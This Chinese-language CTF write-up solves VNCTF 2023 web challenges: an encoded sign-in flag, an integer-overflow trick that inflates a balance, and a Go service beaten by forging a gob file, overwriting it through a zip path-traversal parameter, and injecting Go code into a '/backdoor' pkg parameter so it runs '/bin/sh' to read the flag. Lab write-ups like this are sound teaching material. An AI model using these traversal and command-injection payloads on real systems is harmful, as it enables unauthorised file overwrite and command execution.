签到题,直接在源码中找就ok。
找到一处编码,在控制台输出。
flag为:flag{w3lc0m3_t0_VNCTF_2023~~~}
需要先理清代码逻辑。
存在三个路由。
一:/路由用来查看当前的功德数量,大于十亿后即可得到flag。
二:/reset是用来清空功德。
三:/upgrade,POST路由,用来控制功德。
在这里可以知道各种name对应的cost。
最主要的是这几个代码,首先是当name等于Donate和Cost时
cost=cost*quantity
然后最后设定的功德值是原值减去cost值,所以想办法让cost为负数或者quantity为负数即可让功德增加,在name等于Donate和Cost时cost初始都是整数,只能让quantity为负,想到让quantity过大然后溢出。
成功溢出。
flag为:flag{492cd242-6038-4a31-9bc4-1701624bf759}
本题为复现,当时不懂如何让ctfer.Power == “admin”。
首先也是理清一下代码逻辑,存在五个路由。
首先就是/路由。
该路由创建了一个user.gob文件,保存到userDir目录下,然后设置了ctfer.Power的值为low。
gobFile, _ := os.Create(userDir + "user.gob")
user := User{Name: "ctfer", Path: userDir, Power: "low"}
然后就是文件上传路由。
禁止了go和gob后缀的文件传入。
userUploadDir就是/页面下中回显的目录+uploads/
所以是传入到了/tmp/05b9ef44a4225019d5e074eb8582dd2a/uploads/下。
再看一下/unzip路由:
大概作用就是去解压我们传上去的文件。
解压后的文件会解压到userUploadDir + c.Query(“path”)
c.Query作用是查询请求URL后面的参数。
代表我们可以控制path的值,看一下filepath.Clean的作用。
代表了可以进行目录穿越,控制解压后的文件的传入路径。
继续看最后的/backdoor路由。
去Open之前的user.gob文件,然后经过gob.NewDecoder操作。
NewDecoder则是一种解码方式,也就是以二进制解码一下user.gob文件。
如果ctfer.Power==“admin”,那么变可以继续,看一下最早是如何给ctf.Power设定值的。
所以我们可以去利用解压文件后的目录可控来覆盖user.gob文件,修改其内容。
(16)Go OS文件基础创建、打开、读写与关闭_jadeshu的博客-CSDN博客_go os.create
学习了一下文件的操作。
//user.go
package main
import (
"encoding/gob"
"fmt"
"os"
)
type User struct {
Name string
Path string
Power string
}
func main(){
userDir := "/tmp/05b9ef44a4225019d5e074eb8582dd2a/" //自己docker起后的路径
user := User{Name: "ctfer", Path: userDir, Power: "admin"}
file, err := os.Create("./user.gob")
if err != nil {
fmt.Println("创建文件失败")
return
}
defer file.Close()
encoder := gob.NewEncoder(file)
err = encoder.Encode(user)
if err != nil {
fmt.Println("编码错误")
return
} else {
fmt.Println("编码成功")
}
}
运行go脚本,然后得到gob文件,然后zip压缩上传。
payload:
/unzip?path=../../../tmp/c737f02c5be938c8ba38850084a0cb52/
/backdoor?pkg=os/exec"%0A"fmt")%0Afunc%09init()%7B%0Acmd:=exec.Command("/bin/sh","-c","cat${IFS}/f*")%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessage="fmt
然后python脚本解码:
str = [102,108,97,103,123,102,54,52,99,98,52,56,53,45,101,98,57,53,45,52,52,50,99,45,57,99,49,54,45,55,100,102,98,48,52,97,100,102,57,57,101,125,10]
for i in range(42):
print(chr(str[i]),end="")